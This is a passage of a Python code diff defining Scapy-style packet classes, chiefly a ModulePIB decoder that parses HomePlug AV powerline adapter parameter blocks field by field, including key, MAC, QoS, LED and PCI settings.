+                  XShortField("GPIOMaskBits_5", 0),
+                  XShortField("GPIOMaskBits_6", 0),
+                  XIntField("reserved_beh", 0),
+                ]
+
+    def extract_padding(self, p):
+        return b"", p
+
+class EventBlockArray(Packet):
+    name = "EventBlockArray"
+    fields_desc=[ XByteField("EventPriorityID", 0),
+                  XByteField("EventID", 0),
+                  XByteField("BehID_1", 0),
+                  XByteField("BehID_2", 0),
+                  XByteField("BehID_3", 0),
+                  XShortField("ParticipatingGPIOs", 0),
+                  XByteField("EventAttributes", 0),
+                  XShortField("reserved_evb", 0),
+                ]
+
+    def extract_padding(self, p):
+        return b"", p
+
+class ModulePIB(Packet):
+    """
+        Simple Module PIB Decoder.
+            /!\ A wrong slice would produce 'bad' results
+    """
+    name = "ModulePIB"
+    __slots__ = ["_ModulePIB__offset", "_ModulePIB__length"]
+    fields_desc=[
+        ConditionalField(XByteField("FirmwareMajorVersion", 0x00),
+                         lambda pkt:(0x0 == pkt.__offset and 0x1 <= pkt.__offset+pkt.__length)), # The following conditional fiels just check if the current field fits in the data range
+        ConditionalField(XByteField("PIBMinorVersion", 0x00),
+                         lambda pkt:(0x1 >= pkt.__offset and 0x2 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XShortField("reserved_1" , 0x0000),
+                         lambda pkt:(0x2 >= pkt.__offset and 0x4 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XShortField("PIBLength" , 0x0000),
+                         lambda pkt:(0x4 >= pkt.__offset and 0x6 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XShortField("reserved_2" , 0x0000),
+                         lambda pkt:(0x6 >= pkt.__offset and 0x8 <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("checksumPIB", None),
+                         lambda pkt:(0x8 >= pkt.__offset and 0xC <= pkt.__offset+pkt.__length)),
+        ConditionalField(MACField("PIBMACAddr", "00:00:00:00:00:00"),
+                         lambda pkt:(0xC >= pkt.__offset and 0x12 <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("DAK",
+                                          b"\x00"*16,
+                                          16),
+                         lambda pkt:(0x12 >= pkt.__offset and 0x22 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XShortField("reserved_3" , 0x0000),
+                         lambda pkt:(0x22 >= pkt.__offset and 0x24 <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("ManufactorID",
+                                          b"\x00"*64,
+                                          64),
+                         lambda pkt:(0x24 >= pkt.__offset and 0x64 <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("NMK",
+                                          b"\x00"*16,
+                                          16),
+                         lambda pkt:(0x64 >= pkt.__offset and 0x74 <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("UserID",
+                                          b"\x00"*64,
+                                          64),
+                         lambda pkt:(0x74 >= pkt.__offset and 0xB4 <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("AVLN_ID",
+                                          b"\x00"*64,
+                                          64),
+                         lambda pkt:(0xB4 >= pkt.__offset and 0xF4 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("CCoSelection", 0x00),
+                         lambda pkt:(0xF4 >= pkt.__offset and 0xF5 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("CoExistSelection", 0x00),
+                         lambda pkt:(0xF5 >= pkt.__offset and 0xF6 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("PLFreqSelection", 0x00),
+                         lambda pkt:(0xF6 >= pkt.__offset and 0xF7 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("H3CDowngradeShld", 0x00),
+                         lambda pkt:(0xF7 >= pkt.__offset and 0xF8 <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("PreferredNID",
+                                          b"\x00"*7,
+                                          7),
+                         lambda pkt:(0xF8 >= pkt.__offset and 0xFF <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("AutoFWUpgradeable", 0x00),
+                         lambda pkt:(0xFF >= pkt.__offset and 0x100 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("MDUConfiguration", 0x00),
+                         lambda pkt:(0x100 >= pkt.__offset and 0x101 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("MDURole", 0x00),
+                         lambda pkt:(0x101 >= pkt.__offset and 0x102 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("SnifferEnabled", 0x00),
+                         lambda pkt:(0x102 >= pkt.__offset and 0x103 <= pkt.__offset+pkt.__length)),
+        ConditionalField(MACField("SnifferMACAddrRetrn", "00:00:00:00:00:00"),
+                         lambda pkt:(0x103 >= pkt.__offset and 0x109 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("WireTapEnable", 0x00),
+                         lambda pkt:(0x109 >= pkt.__offset and 0x10A <= pkt.__offset+pkt.__length)),
+        ConditionalField(XShortField("reserved_4" , 0x0000),
+                         lambda pkt:(0x10A >= pkt.__offset and 0x10C <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("StaticNetworkEnabled" , 0x00),
+                         lambda pkt:(0x10C >= pkt.__offset and 0x10D <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("LD_TEI" , 0x00),
+                         lambda pkt:(0x10D >= pkt.__offset and 0x10E <= pkt.__offset+pkt.__length)),
+        ConditionalField(MACField("CCo_MACAdd", "00:00:00:00:00:00"),
+                         lambda pkt:(0x10E >= pkt.__offset and 0x114 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("SNID", 0x00),
+                         lambda pkt:(0x114 >= pkt.__offset and 0x115 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("NumOfPeerNodes", 0x00),
+                         lambda pkt:(0x115 >= pkt.__offset and 0x116 <= pkt.__offset+pkt.__length)),
+        ConditionalField(PacketListField("PeerNodes", "", PeerNode, length_from=lambda x: 56),
+                         lambda pkt:(0x116 >= pkt.__offset and 0x11C <= pkt.__offset+pkt.__length)), 
+        ConditionalField(StrFixedLenField("reserved_5",
+                                          b"\x00"*62,
+                                          62),
+                         lambda pkt:(0x146 >= pkt.__offset and 0x14e <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("OverideModeDefaults" , 0x00),
+                         lambda pkt:(0x18C >= pkt.__offset and 0x18D <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("DisableFlowControl" , 0x00),
+                         lambda pkt:(0x18D >= pkt.__offset and 0x18E <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("AdvertisementCapabilities" , 0x00),
+                         lambda pkt:(0x18E >= pkt.__offset and 0x18F <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("OverrideMeteringDefaults" , 0x00),
+                         lambda pkt:(0x18F >= pkt.__offset and 0x190 <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("MaxFramesPerSec" , 0),
+                         lambda pkt:(0x190 >= pkt.__offset and 0x194 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("DisableAutoNegotiation" , 0x00),
+                         lambda pkt:(0x194 >= pkt.__offset and 0x195 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("EnetSpeedSetting" , 0x00),
+                         lambda pkt:(0x195 >= pkt.__offset and 0x196 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("EnetDuplexSetting" , 0x00),
+                         lambda pkt:(0x196 >= pkt.__offset and 0x197 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("DisableTxFlowControl" , 0x00),
+                         lambda pkt:(0x197 >= pkt.__offset and 0x198 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("DisableRxFlowControl" , 0x00),
+                         lambda pkt:(0x198 >= pkt.__offset and 0x199 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("PhyAddressSelection" , 0x00),
+                         lambda pkt:(0x199 >= pkt.__offset and 0x19A <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("PhyAddressSelection_Data" , 0x00),
+                         lambda pkt:(0x19A >= pkt.__offset and 0x19B <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("reserved_6" , 0x00),
+                         lambda pkt:(0x19B >= pkt.__offset and 0x19C <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("Force33MHz" , 0x00),
+                         lambda pkt:(0x19C >= pkt.__offset and 0x19D <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("LinkStatusOnPowerline" , 0x00),
+                         lambda pkt:(0x19D >= pkt.__offset and 0x19E <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("OverrideIdDefaults" , 0x00),
+                         lambda pkt:(0x19E >= pkt.__offset and 0x19F <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("OverrideSubIdDefaults" , 0x00),
+                         lambda pkt:(0x19F >= pkt.__offset and 0x1A0 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XShortField("PCIDeviceID" , 0x0000),
+                         lambda pkt:(0x1A0 >= pkt.__offset and 0x1A2 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XShortField("PCIVendorID" , 0x0000),
+                         lambda pkt:(0x1A2 >= pkt.__offset and 0x1A4 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("reserved_7" , 0x00),
+                         lambda pkt:(0x1A4 >= pkt.__offset and 0x1A5 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("PCIClassCode" , 0x00),
+                         lambda pkt:(0x1A5 >= pkt.__offset and 0x1A6 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("PCIClassCodeSubClass" , 0x00),
+                         lambda pkt:(0x1A6 >= pkt.__offset and 0x1A7 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("PCIRevisionID" , 0x00),
+                         lambda pkt:(0x1A7 >= pkt.__offset and 0x1A8 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XShortField("PCISubsystemID" , 0x0000),
+                         lambda pkt:(0x1A8 >= pkt.__offset and 0x1AA <= pkt.__offset+pkt.__length)),
+        ConditionalField(XShortField("PCISybsystemVendorID" , 0x0000),
+                         lambda pkt:(0x1AA >= pkt.__offset and 0x1AC <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("reserved_8",
+                                          b"\x00"*64,
+                                          64),
+                         lambda pkt:(0x1AC >= pkt.__offset and 0x1EC <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("OverrideIGMPDefaults" , 0x00),
+                         lambda pkt:(0x1EC >= pkt.__offset and 0x1ED <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("ConfigFlags" , 0x00),
+                         lambda pkt:(0x1ED >= pkt.__offset and 0x1EE <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("NumCpToSend_PLFrames" , 0x00),
+                         lambda pkt:(0x1EE >= pkt.__offset and 0x1EF <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("reserved_9",
+                                          b"\x00"*29,
+                                          29),
+                         lambda pkt:(0x1EF >= pkt.__offset and 0x20C <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("UniCastPriority" , 0x00),
+                         lambda pkt:(0x20C >= pkt.__offset and 0x20D <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("McastPriority" , 0x00),
+                         lambda pkt:(0x20D >= pkt.__offset and 0x20E <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("IGMPPriority" , 0x00),
+                         lambda pkt:(0x20E >= pkt.__offset and 0x20F <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("AVStreamPriority" , 0x00),
+                         lambda pkt:(0x20F >= pkt.__offset and 0x210 <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("PriorityTTL_0" , 0),
+                         lambda pkt:(0x210 >= pkt.__offset and 0x214 <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("PriorityTTL_1" , 0),
+                         lambda pkt:(0x214 >= pkt.__offset and 0x218 <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("PriorityTTL_2" , 0),
+                         lambda pkt:(0x218 >= pkt.__offset and 0x21C <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("PriorityTTL_3" , 0),
+                         lambda pkt:(0x21C >= pkt.__offset and 0x220 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("EnableVLANOver" , 0x00),
+                         lambda pkt:(0x220 >= pkt.__offset and 0x221 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("EnableTOSOver" , 0x00),
+                         lambda pkt:(0x221 >= pkt.__offset and 0x222 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XShortField("reserved_10" , 0x0000),
+                         lambda pkt:(0x222 >= pkt.__offset and 0x224 <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("VLANPrioTOSPrecMatrix" , 0),
+                         lambda pkt:(0x224 >= pkt.__offset and 0x228 <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("NumClassifierPriorityMaps" , 0),
+                         lambda pkt:(0x228 >= pkt.__offset and 0x22C <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("NumAutoConnections" , 0),
+                         lambda pkt:(0x22C >= pkt.__offset and 0x230 <= pkt.__offset+pkt.__length)), 
+        ConditionalField(PacketListField("ClassifierPriorityMaps", "", ClassifierPriorityMap, length_from=lambda x: 224),
+                         lambda pkt:(0x230 >= pkt.__offset and 0x244 <= pkt.__offset+pkt.__length)),
+        ConditionalField(PacketListField("AutoConnections", "", AutoConnection, length_from=lambda x: 1600),
+                         lambda pkt:(0x310 >= pkt.__offset and 0x36e <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("NumberOfConfigEntries" , 0x00),
+                         lambda pkt:(0x950 >= pkt.__offset and 0x951 <= pkt.__offset+pkt.__length)),
+        ConditionalField(PacketListField("AggregateConfigEntries", "", AggregateConfigEntrie, length_from=lambda x: 16),
+                         lambda pkt:(0x951 >= pkt.__offset and 0x961 <= pkt.__offset+pkt.__length)),
+        ConditionalField(PacketListField("RSVD_CustomAggregationParameters", "", RSVD_CustomAggregationParameter, length_from=lambda x: 48),
+                         lambda pkt:(0x961 >= pkt.__offset and 0x991 <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("reserved_11",
+                                          b"\x00"*123,
+                                          123),
+                         lambda pkt:(0x991 >= pkt.__offset and 0xA0C <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("ToneMaskType" , 0),
+                         lambda pkt:(0xA0C >= pkt.__offset and 0xA10 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("ToneMaskEnabled" , 0),
+                         lambda pkt:(0xA10 >= pkt.__offset and 0xA14 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("StartTone" , 0),
+                         lambda pkt:(0xA14 >= pkt.__offset and 0xA18 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("EndTone" , 0),
+                         lambda pkt:(0xA18 >= pkt.__offset and 0xA1C <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("reserved_12",
+                                          b"\x00"*12,
+                                          12),
+                         lambda pkt:(0xA1C >= pkt.__offset and 0xA28 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("PsdIndex" , 0),
+                         lambda pkt:(0xA28 >= pkt.__offset and 0xA2C <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("TxPrescalerType" , 0),
+                         lambda pkt:(0xA2C >= pkt.__offset and 0xA30 <= pkt.__offset+pkt.__length)),
+        ConditionalField(PacketListField("PrescalerValues", "", PrescalerValue, length_from=lambda x: 3600),
+                         lambda pkt:(0xA30 >= pkt.__offset and 0xA34 <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("reserved_13",
+                                          b"\x00"*1484,
+                                          1484),
+                         lambda pkt:(0x1840 >= pkt.__offset and 0x1E0C <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("AllowNEKRotation" , 0),
+                         lambda pkt:(0x1E0C >= pkt.__offset and 0x1E10 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("OverrideLocalNEK" , 0),
+                         lambda pkt:(0x1E10 >= pkt.__offset and 0x1E14 <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("LocalNEKToUse",
+                                          b"\x00"*16,
+                                          16),
+                         lambda pkt:(0x1E14 >= pkt.__offset and 0x1E24 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("OverrideNEKRotationTimer" , 0),
+                         lambda pkt:(0x1E24 >= pkt.__offset and 0x1E28 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("NEKRotationTime_Min" , 0),
+                         lambda pkt:(0x1E28 >= pkt.__offset and 0x1E2C <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("reserved_14",
+                                          b"\x00"*96,
+                                          96),
+                         lambda pkt:(0x1E2C >= pkt.__offset and 0x1E8C <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("AVLNMembership" , 0),
+                         lambda pkt:(0x1E8C >= pkt.__offset and 0x1E90 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("SimpleConnectTimeout" , 0),
+                         lambda pkt:(0x1E90 >= pkt.__offset and 0x1E94 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("EnableLEDThroughputIndicate" , 0),
+                         lambda pkt:(0x1E94 >= pkt.__offset and 0x1E95 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("MidLEDThroughputThreshold_Mbps" , 0),
+                         lambda pkt:(0x1E95 >= pkt.__offset and 0x1E96 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("HighLEDThroughputThreshold_Mbps" , 0),
+                         lambda pkt:(0x1E96 >= pkt.__offset and 0x1E97 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("reserved_15" , 0),
+                         lambda pkt:(0x1E97 >= pkt.__offset and 0x1E98 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("EnableUnicastQuieriesToMember" , 0),
+                         lambda pkt:(0x1E98 >= pkt.__offset and 0x1E99 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("DisableMLDGroupIDCheckInMAC" , 0),
+                         lambda pkt:(0x1E99 >= pkt.__offset and 0x1E9A <= pkt.__offset+pkt.__length)),
+        ConditionalField(XShortField("EnableReportsToNonQuerierHosts" , 0),
+                         lambda pkt:(0x1E9A >= pkt.__offset and 0x1E9C <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("DisableExpireGroupMembershipInterval" , 0),
+                         lambda pkt:(0x1E9C >= pkt.__offset and 0x1EA0 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("DisableLEDTestLights" , 0),
+                         lambda pkt:(0x1EA0 >= pkt.__offset and 0x1EA4 <= pkt.__offset+pkt.__length)),
+        ConditionalField(PacketListField("GPIOMaps", "", GPIOMap, length_from=lambda x: 12),
+                         lambda pkt:(0x1EA4 >= pkt.__offset and 0x1EB0 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XLongField("reserved_16" , 0),
+                         lambda pkt:(0x1EB0 >= pkt.__offset and 0x1EB8 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("EnableTrafficClass_DSCPOver" , 0),
+                         lambda pkt:(0x1EB8 >= pkt.__offset and 0x1EB9 <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("TrafficClass_DSCPMatrices",
+                                          b"\x00"*64,
+                                          64),
+                         lambda pkt:(0x1EB9 >= pkt.__offset and 0x1EF9 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("GPIOControl" , 0),
+                         lambda pkt:(0x1EF9 >= pkt.__offset and 0x1EFA <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("LEDControl",
+                                          b"\x00"*32,
+                                          32),
+                         lambda pkt:(0x1EFA >= pkt.__offset and 0x1F1A <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("OverrideMinButtonPressHoldTime" , 0),
+                         lambda pkt:(0x1F1A >= pkt.__offset and 0x1F1E <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("MinButtonPressHoldTime" , 0),
+                         lambda pkt:(0x1F1E >= pkt.__offset and 0x1F22 <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("reserved_17",
+                                          b"\x00"*22,
+                                          22),
+                         lambda pkt:(0x1F22 >= pkt.__offset and 0x1F38 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("MemoryProfile" , 0),
+                         lambda pkt:(0x1F38 >= pkt.__offset and 0x1F3C <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("DisableAllLEDFlashOnWarmReboot" , 0),
+                         lambda pkt:(0x1F3C >= pkt.__offset and 0x1F40 <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("UplinkLimit_bps" , 0),
+                         lambda pkt:(0x1F40 >= pkt.__offset and 0x1F44 <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("DownlinkLimit_bps" , 0),
+                         lambda pkt:(0x1F44 >= pkt.__offset and 0x1F48 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("MDUStaticSNID" , 0),
+                         lambda pkt:(0x1F48 >= pkt.__offset and 0x1F4C <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("MitigateEnabled" , 0),
+                         lambda pkt:(0x1F4C >= pkt.__offset and 0x1F4D <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("CorrelThreshold" , 0),
+                         lambda pkt:(0x1F4D >= pkt.__offset and 0x1F51 <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("ScaledTxGain" , 0),
+                         lambda pkt:(0x1F51 >= pkt.__offset and 0x1F55 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("ResourceThresholdEnabled" , 0),
+                         lambda pkt:(0x1F55 >= pkt.__offset and 0x1F56 <= pkt.__offset+pkt.__length)),
+        ConditionalField(PacketListField("ReservedPercentageForCaps", "", ReservedPercentageForCap, length_from=lambda x: 4),
+                         lambda pkt:(0x1F56 >= pkt.__offset and 0x1F5A <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("PowerSavingMode" , 0),
+                         lambda pkt:(0x1F5A >= pkt.__offset and 0x1F5B <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("PowerLEDDutyCycle" , 0),
+                         lambda pkt:(0x1F5B >= pkt.__offset and 0x1F5C <= pkt.__offset+pkt.__length)),
+        ConditionalField(XShortField("reserved_18" , 0),
+                         lambda pkt:(0x1F5C >= pkt.__offset and 0x1F5E <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("LinkUpDurationBeforeReset_ms" , 0),
+                         lambda pkt:(0x1F5E >= pkt.__offset and 0x1F62 <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("PowerLEDPeriod_ms" , 0),
+                         lambda pkt:(0x1F62 >= pkt.__offset and 0x1F66 <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("LinkDownDurationBeforeLowPowerMode_ms" , 0),
+                         lambda pkt:(0x1F66 >= pkt.__offset and 0x1F6A <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("reserved_19" , 0),
+                         lambda pkt:(0x1F6A >= pkt.__offset and 0x1F6E <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("AfeGainBusMode" , 0),
+                         lambda pkt:(0x1F6E >= pkt.__offset and 0x1F6F <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("EnableDynamicPsd" , 0),
+                         lambda pkt:(0x1F6F >= pkt.__offset and 0x1F70 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("ReservedPercentageForTxStreams" , 0),
+                         lambda pkt:(0x1F70 >= pkt.__offset and 0x1F71 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("ReservedPercentageForRxStreams" , 0),
+                         lambda pkt:(0x1F71 >= pkt.__offset and 0x1F72 <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("reserved_20",
+                                          b"\x00"*22,
+                                          22),
+                         lambda pkt:(0x1F72 >= pkt.__offset and 0x1F88 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("LegacyNetworkUpgradeEnable" , 0),
+                         lambda pkt:(0x1F88 >= pkt.__offset and 0x1F8C <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("unknown" , 0),
+                         lambda pkt:(0x1F8C >= pkt.__offset and 0x1F90 <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("MMETTL_us" , 0),
+                         lambda pkt:(0x1F90 >= pkt.__offset and 0x1F94 <= pkt.__offset+pkt.__length)),
+        ConditionalField(PacketListField("ConfigBits", "", ConfigBit, length_from=lambda x: 2),
+                         lambda pkt:(0x1F94 >= pkt.__offset and 0x1F96 <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("TxToneMapExpiry_ms" , 0),
+                         lambda pkt:(0x1F96 >= pkt.__offset and 0x1F9A <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("RxToneMapExpiry_ms" , 0),
+                         lambda pkt:(0x1F9A >= pkt.__offset and 0x1F9E <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("TimeoutToResound_ms" , 0),
+                         lambda pkt:(0x1F9E >= pkt.__offset and 0x1FA2 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("MissingSackThresholdForUnplugDetection" , 0),
+                         lambda pkt:(0x1FA2 >= pkt.__offset and 0x1FA6 <= pkt.__offset+pkt.__length)),
+        ConditionalField(LEIntField("UnplugTimeout_ms" , 0),
+                         lambda pkt:(0x1FA6 >= pkt.__offset and 0x1FAA <= pkt.__offset+pkt.__length)),
+        ConditionalField(PacketListField("ContentionWindowTableES", "", ContentionWindowTable, length_from=lambda x: 8),
+                         lambda pkt:(0x1FAA >= pkt.__offset and 0x1FB2 <= pkt.__offset+pkt.__length)),
+        ConditionalField(PacketListField("BackoffDeferalCountTableES", "", BackoffDeferalCountTable, length_from=lambda x: 4),
+                         lambda pkt:(0x1FB2 >= pkt.__offset and 0x1FB6 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("GoodSoundCountThreshold" , 0),
+                         lambda pkt:(0x1FB6 >= pkt.__offset and 0x1FB7 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("SoundCountThreshold_GoodSoundCountPass" , 0),
+                         lambda pkt:(0x1FB7 >= pkt.__offset and 0x1FB8 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("SoundCountThreshold_GoodSoundCountFail" , 0),
+                         lambda pkt:(0x1FB8 >= pkt.__offset and 0x1FB9 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XShortField("reserved_21" , 0),
+                         lambda pkt:(0x1FB9 >= pkt.__offset and 0x1FBB <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("ExclusiveTxPbs_percentage" , 0),
+                         lambda pkt:(0x1FBB >= pkt.__offset and 0x1FBC <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("ExclusiveRxPbs_percentage" , 0),
+                         lambda pkt:(0x1FBC >= pkt.__offset and 0x1FBD <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("OptimizationBackwardCompatible" , 0),
+                         lambda pkt:(0x1FBD >= pkt.__offset and 0x1FBE <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("reserved_21" , 0),
+                         lambda pkt:(0x1FBE >= pkt.__offset and 0x1FBF <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("MaxPbsPerSymbol" , 0),
+                         lambda pkt:(0x1FBF >= pkt.__offset and 0x1FC0 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("MaxModulation" , 0),
+                         lambda pkt:(0x1FC0 >= pkt.__offset and 0x1FC1 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("ContinuousRx" , 0),
+                         lambda pkt:(0x1FC1 >= pkt.__offset and 0x1FC2 <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("reserved_22",
+                                          b"\x00"*6,
+                                          6),
+                         lambda pkt:(0x1FC2 >= pkt.__offset and 0x1FC8 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("PBControlStatus" , 0),
+                         lambda pkt:(0x1FC8 >= pkt.__offset and 0x1FC9 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("STAMembershipMaskEnabled" , 0),
+                         lambda pkt:(0x1FC9 >= pkt.__offset and 0x1FCA <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("ExitDefaultEnabled" , 0),
+                         lambda pkt:(0x1FCA >= pkt.__offset and 0x1FCB <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("RejectDefaultEnabled" , 0),
+                         lambda pkt:(0x1FCB >= pkt.__offset and 0x1FCC <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("ChainingEnabled" , 0),
+                         lambda pkt:(0x1FCC >= pkt.__offset and 0x1FCD <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("VendorSpecificNMK",
+                                          b"\x00"*16,
+                                          16),
+                         lambda pkt:(0x1FCD >= pkt.__offset and 0x1FDD <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("LocalMACAddressLimit" , 0),
+                         lambda pkt:(0x1FDD >= pkt.__offset and 0x1FDE <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("OverrideBridgeTableAgingTime" , 0),
